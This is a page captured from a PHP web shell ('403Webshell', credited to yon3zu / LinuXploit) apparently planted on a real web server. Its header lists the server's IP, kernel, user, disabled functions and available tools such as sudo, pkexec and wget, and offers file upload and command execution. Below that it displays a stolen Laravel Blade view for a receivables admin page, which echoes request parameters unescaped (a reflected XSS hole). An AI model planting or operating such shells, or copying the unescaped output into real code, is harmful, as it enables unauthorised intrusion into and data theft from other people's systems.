403Webshell
Server IP : 54.94.228.101  /  Your IP : 172.28.1.13
Web Server : Apache
System : Linux ip-172-28-29-189 6.5.0-1014-aws #14~22.04.1-Ubuntu SMP Thu Feb 15 15:27:06 UTC 2024 x86_64
User : www-data ( 33)
PHP Version : 7.2.34-43+ubuntu22.04.1+deb.sury.org+1
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/vinumday2_0/storage/framework/views/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/vinumday2_0/storage/framework/views/b5611668a2e7f6d0babcdbe80388bf5dfeeb54ea.php
<?php $__env->startSection('content'); ?>

<!-- Content Wrapper. Contains page content -->
<div class="content-wrapper">
    <!-- Content Header (Page header) -->
    <section class="content-header">
        <h1>
            Conta Receber
        </h1>
        <ol class="breadcrumb">
            <li><a href="<?php echo e(url('admin')); ?>"><i class="fa fa-dashboard"></i> Dashboard</a></li>
            <li class="active">Recebimentos</li>
        </ol>
    </section>

    <!-- Main content -->
    <section class="content">
        <div class="row">
            <div class="col-xs-12">

                <div class="box">
                    <div class="box-header no-print">
                        <h4>Filtros</h4>
                        <form id="form-recebimentos" method="GET" action="<?php echo url('admin/conta-receber/recebimentos'); ?>">
                            <div class="row">
                                <div class="col-md-3">
                                    <div class="row">
                                        <div class="col-md-12">
                                            <h5>Empresa:</h5>
                                            <select id="empresa_id" required class="form-control select2" name="empresa_id">
                                                <option value="0">Selecione a empresa</option>
                                                <?php foreach ($empresas as $empresa): ?>
                                                    <option <?php echo (isset($empresa_id) && $empresa_id == $empresa->id) ? 'selected' : ''; ?> value="<?php echo $empresa->id; ?>"><?php echo $empresa->nome; ?></option>
                                                <?php endforeach; ?>
                                            </select>
                                        </div>
                                    </div>
                                </div>
                                <div class="col-md-6">
                                    <div class="row">
                                        <div class="col-md-3">
                                            <h5>Data inicial (<span class="small">período</span>):</h5>
                                            <input type="date" value="<?php echo (isset($data_inicial)) ? $data_inicial : ''; ?>" class="form-control" name="data_inicial">
                                        </div>
                                        <div class="col-md-3">
                                            <h5>Data final (<span class="small">período</span>):</h5>
                                            <input type="date" value="<?php echo (isset($data_final)) ? $data_final : ''; ?>" class="form-control" name="data_final" id="data_final">
                                        </div>
                                        <div class="col-md-3">
                                            <h5>Forma:</h5>
                                            <select class="form-control" name="filtro_forma" id="filtro_forma">
                                                <option value=""></option>
                                                <option value="C" <?php echo (isset($filtro_forma) && $filtro_forma == 'C' ? 'selected="selected"' : ''); ?>>Cartão</option>
                                                <option value="D" <?php echo (isset($filtro_forma) && $filtro_forma == 'D' ? 'selected="selected"' : ''); ?>>Depósito</option>
                                            </select>
                                        </div>
                                        <div class="col-md-3">
                                            <h5>Cliente</h5>
                                            <input type="text" value="<?php echo (isset($filtro_cliente)) ? $filtro_cliente : ''; ?>" class="form-control" name="filtro_cliente" id="filtro_cliente">
                                        </div>
                                    </div>
                                </div>
                                <div class="col-md-2">
                                    <div class="row">
                                        <div class="col-md-12">
                                            <input type="hidden" name="filtro" value="<?php echo (isset($_GET['filtro'])) ? $_GET['filtro'] : '' ?>">
                                            <button type="submit" id="filtrarRecebimentos" class="btn btn-block btn-primary" style="margin-top:35px;">Filtrar</button>
                                        </div>
                                    </div>
                                </div>
                            </div>
                        </form>
                    </div>
                    <!-- /.box-header -->
                    <div class="box-body relatorio-saldos">
                        <div class="topmenu">
                            <?php foreach ($filtros as $key => $filter): ?>
                            <a href="<?php echo e(url('admin/conta-receber/recebimentos?filtro=' . $key)); ?>" class="item <?php echo ($key == $filtro_atual) ? 'active' : (($filtro_atual) ? 'inactive' : '' ); ?>" style="width: 14%">
                                <i class="fa fa-angle-double-right fa-fw"></i>
                                <?php echo e($filter); ?>

                                <?php if($key == $filtro_atual){ ?>
                                <span data-href="<?php echo e(url('admin/conta-receber/recebimentos')); ?>" class="close"> <i class="fa fa-times"></i></span>
                                <?php } ?>
                            </a>
                            <?php endforeach; ?>
                        </div>
                        <div class="row">
                            <h5>Número de Registros: <?php echo $registros->total(); ?></h5>
                            <table class="table table-bordered table-striped">
                            <thead>
                                <tr>
                                    <th class="no-sort"><input type="checkbox" name="selecionar_todos"/></th>
                                    <th>Empresa</th>
                                    <th>Data \ Hora Venda</th>
                                    <th>Pedido Venda</th>
                                    <th>Cliente</th>
                                    <th>Forma</th>
                                    <th>Parcela</th>
                                    <th>Valor Previsto</th>
                                    <th>Taxa</th>
                                    <th>Data Prevista</th>
                                    <th>Data Recebimento</th>
                                    <th>Transação</th>
                                    <th>Data Sincronização</th>
                                    <th>Status</th>
                                </tr>
                            </thead>
                            <tbody>
                                <?php 
                                $statusContaReceber = [
                                    'A' => 'Pago',
                                    'P' => 'Recebido',
                                    'C' => 'Chargedback',
                                    'R' => 'Recusado',
                                    'E' => 'Estornado'
                                ];
                                foreach($registros as $item): 
                                ?>
                                <tr>
                                    <td class="no-sort">
                                        <?php if($item->status == 'A'): ?>
                                            <input type="checkbox" name="item_conta[]" value="<?php echo $item->id; ?>"/>
                                        <?php endif; ?>
                                    </td>
                                    <td><?php echo $item->empresa->nome; ?></td>
                                    <td><?php echo strftime('%d/%m/%Y %H:%M',strtotime($item->pedidoVenda->data_fechamento)); ?></td>
                                    <td><a href="<?php echo e(url('/admin/pedido-venda/edit/' . $item->id_pedido_venda)); ?>" target="_blank"><?php echo $item->id_pedido_venda; ?></a></td>
                                    <td><?php echo $item->cliente->nome; ?> <?php echo $item->cliente->sobrenome; ?></td>
                                    <td><?php echo (!empty($item->pedidoVenda->tipo_deposito) ? 'Depósito' : 'Cartão'); ?></td>
                                    <td>
                                        <?php 
                                        $condicaoComercial = $item->pedidoVenda->condicaoComercial;
                                        $numeroParcelas    = ($condicaoComercial->numero_dias / $condicaoComercial->frequencia);
                                        echo "{$item->numero_parcela}/{$numeroParcelas}";
                                        ?>
                                    </td>
                                    <td><?php echo number_format($item->valor_previsto, 2,',','.'); ?></td>
                                    <td><?php echo number_format($item->valor_taxa, 2,',','.'); ?></td>
                                    <td><?php echo strftime('%d/%m/%Y',strtotime($item->data_prevista)); ?></td>
                                    <td><?php echo (!empty($item->data_pagamento) ? strftime('%d/%m/%Y',strtotime($item->data_pagamento)) : ''); ?></td>
                                    <td><?php echo $item->transacao_id; ?></td>
                                    <td><?php echo (!empty($item->ultima_atualizacao_conta) ? strftime('%d/%m/%Y %H:%M',strtotime($item->ultima_atualizacao_conta)) : 'Pendente'); ?></td>
                                    <td><?php echo (isset($statusContaReceber[$item->status]) ? $statusContaReceber[$item->status] : 'Outros'); ?></td>
                                </tr>
                                <?php endforeach; ?>
                            </tbody>
                            </table>
                            <div class="text-center">
                                <?php
                                echo $registros->appends([
                                    'empresa_id'     => (isset($_GET['empresa_id'])) ? $_GET['empresa_id'] : '',
                                    'data_inicial'   => (isset($_GET['data_inicial'])) ? $_GET['data_inicial'] : '',
                                    'data_final'     => (isset($_GET['data_final'])) ? $_GET['data_final'] : '',
                                    'filtro'         => (isset($_GET['filtro'])) ? $_GET['filtro'] : '',
                                    'filtro_forma'   => (isset($_GET['filtro_forma'])) ? $_GET['filtro_forma'] : '',
                                    'filtro_cliente' => (isset($_GET['filtro_cliente'])) ? $_GET['filtro_cliente'] : '',
                                ])->links();
                                ?>
                            </div>
                        </div>
                    </div>
                    <!-- /.box-body -->
                    <div class="box-footer">
                        <p><a type="button" id="btn-sync-contas" class="btn btn-success"><i class="fa fa-fw fa-sync"></i> Sincronizar Contas PagarME</a></p>
                    </div>
                </div>

            </div>
            <!-- /.col -->
        </div>
        <!-- /.row -->
    </section>
    <!-- /.content -->
</div>
<!-- /.content-wrapper -->
<script type="text/javascript">
    
    $(document).ready(function(){

        $('[name="selecionar_todos"]').click(function(){
            if($(this).is(':checked')){
                $('[name="item_conta[]"]').prop('checked', true);
            }else{
                $('[name="item_conta[]"]').prop('checked', false);
            }
        });

        $('#btn-sync-contas').click(function(e){

            if(!confirm('Você tem certeza?')){
                e.preventDefault();
            }else{
                var contas_selecionadas = [];
                $('[name="item_conta[]"]:checked').each(function(){
                    contas_selecionadas.push($(this).val());
                });

                if(contas_selecionadas.length > 0){

                    $.ajax({
                        url:'/admin/conta-receber/sync-recebimentos',
                        type:'POST',
                        data:{
                            ids_conta : contas_selecionadas,
                        },
                        beforeSend:function(){
                            $('.carregando').fadeIn();
                        },
                        success:function(data){
                            if (data.status) {
                                alertUtil.alertSuccess(data.message);
                                /*setTimeout(function(){
                                    window.location.href = window.location.href;
                                }, 1500);*/
                            }else{
                                alertUtil.alertWarning(data.message);
                            }
                            $('.carregando').fadeOut();
                        }
                    });

                }else{
                    alertUtil.alertError('Você deve selecionar ao menos uma conta!');
                }
            }
        });


    });

</script>
<?php $__env->stopSection(); ?>

<?php echo $__env->make($current_template, array_except(get_defined_vars(), array('__data', '__path')))->render(); ?>

Youez - 2016 - github.com/yon3zu
LinuXploit